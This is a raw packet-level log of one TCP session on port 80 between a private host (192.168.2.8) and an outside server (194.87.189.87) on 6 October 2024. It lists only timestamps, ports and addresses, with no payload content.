Oct 6, 2024 21:28:16.576921940 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.576930046 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.576941967 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.576966047 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.577028990 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.577038050 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.577047110 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.577054977 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.577081919 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.577101946 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.577126026 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.577135086 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.577162981 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.577186108 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.577189922 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.577199936 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.577231884 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.577265978 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.577285051 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.577305079 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.577342033 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.577413082 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.577449083 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.577472925 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.577481985 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.577497005 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.577512980 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.577537060 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.577557087 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.577565908 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.577601910 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.577644110 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.577652931 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.577677965 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.577706099 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.577709913 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.577716112 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.577740908 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.577763081 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.577785969 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.577802896 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.577821970 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.577841997 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.577919960 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.577929974 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.577944994 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.577955008 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.577961922 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.577984095 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.578002930 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.578043938 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.578052998 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.578068972 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.578078032 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.578100920 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.578113079 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.578145027 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.578207016 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.578216076 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.578226089 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.578233957 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.578248024 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.578277111 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.578289032 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.578330040 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.578330040 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.578340054 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.578363895 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.578382015 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.578421116 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.578458071 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.578526974 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.578536034 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.578578949 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.578651905 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.578660965 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.578669071 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.578676939 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.578689098 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.578726053 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.578775883 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.578783989 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.578815937 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.578819036 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.578824997 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.578871012 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.578901052 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.578910112 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.578938007 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.578938961 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.578948021 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.578960896 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.578983068 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.579016924 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.579025984 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.579062939 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.579063892 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.579072952 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.579114914 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.579165936 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.579174995 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.579189062 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.579219103 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.579237938 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.579312086 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.579322100 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.579351902 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.579359055 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.579369068 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.579370022 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.579379082 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.579394102 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.579411983 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.579483032 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.579492092 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.579521894 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.579524040 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.579540968 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.579562902 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.579579115 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.579585075 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.579596043 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.579621077 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.579639912 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.579672098 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.579682112 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.579698086 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.579706907 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.579711914 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.579725027 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.579746962 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.579782963 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.579793930 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.579814911 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.579818010 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.579843998 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.579860926 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.579891920 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.579927921 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.579938889 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.579948902 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.579972982 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.579991102 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.580080032 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.580100060 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.580121040 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.580142021 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.580225945 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.580261946 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.580285072 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.580332041 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.580332041 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.580342054 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.580368996 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.580389023 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.580451012 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.580460072 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.580487013 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.580506086 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.580514908 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.580524921 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.580554008 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.580558062 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.580563068 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.580590010 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.580619097 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.580648899 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.580684900 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.580697060 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.580714941 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.580733061 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.580743074 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.580750942 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.580765009 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.580777884 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.580782890 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.580810070 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.580831051 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.580897093 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.580913067 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.580920935 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.580933094 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.580956936 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.580960035 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.580991030 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.581007004 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.581034899 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.581043959 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.581065893 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.581068993 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.581103086 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.581129074 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.581170082 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.581192970 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.581208944 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.581217051 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.581228971 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.581255913 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.581289053 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.581317902 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.581321955 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.581326962 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.581370115 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.581389904 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.581434011 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.581573009 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.581600904 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.581609011 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.581645012 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.581686974 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.581696987 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.581722975 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.581726074 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.581742048 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.581742048 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.581775904 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.581798077 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.581831932 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.581840992 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.581850052 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.581887007 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.581919909 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.581947088 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.581954002 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.581983089 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.581994057 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.582010984 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.582026958 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.582052946 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.582056046 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.582078934 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.582088947 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.582117081 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.582124949 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.582139969 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.582149029 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.582158089 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.582184076 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.582199097 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.582214117 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.582238913 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.582241058 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.582263947 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.582283974 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.582292080 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.582302094 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.582329988 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.582345009 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.582370043 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.582434893 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.582443953 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.582470894 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.582487106 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.582492113 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.582523108 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.582531929 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.582531929 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.582565069 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.582576036 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.582612991 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.582648039 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.582686901 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.582707882 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.582716942 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.582725048 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.582741022 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.582766056 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.582803011 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.582813025 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.582845926 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.582925081 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.582958937 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.582961082 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.582971096 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.583003998 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.583022118 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.583048105 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.583066940 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.583091021 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.583092928 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.583134890 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.583184958 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.583194017 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.583229065 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.583281040 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.583291054 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.583304882 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.583312988 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.583317995 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.583359003 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.583431005 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.583466053 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.583539009 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.583580971 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.583586931 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.583607912 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.583626032 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.583645105 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.583683014 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.583690882 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.583700895 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.583719969 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.583734035 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.583755016 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.583774090 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.583796978 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.583805084 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.583816051 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.583823919 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.583838940 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.583868027 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.583919048 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.583956957 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.619584084 CEST	80	49748	194.87.189.87	192.168.2.8
Oct 6, 2024 21:28:16.620740891 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.620822906 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.620872021 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.620924950 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.620970011 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.621017933 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.621068001 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.621120930 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.621166945 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.621225119 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.621278048 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.621336937 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.621396065 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.621448994 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.621515036 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.621567011 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.621624947 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.621685028 CEST	49748	80	192.168.2.8	194.87.189.87
Oct 6, 2024 21:28:16.621733904 CEST	49748	80	192.168.2.8	194.87.189.87
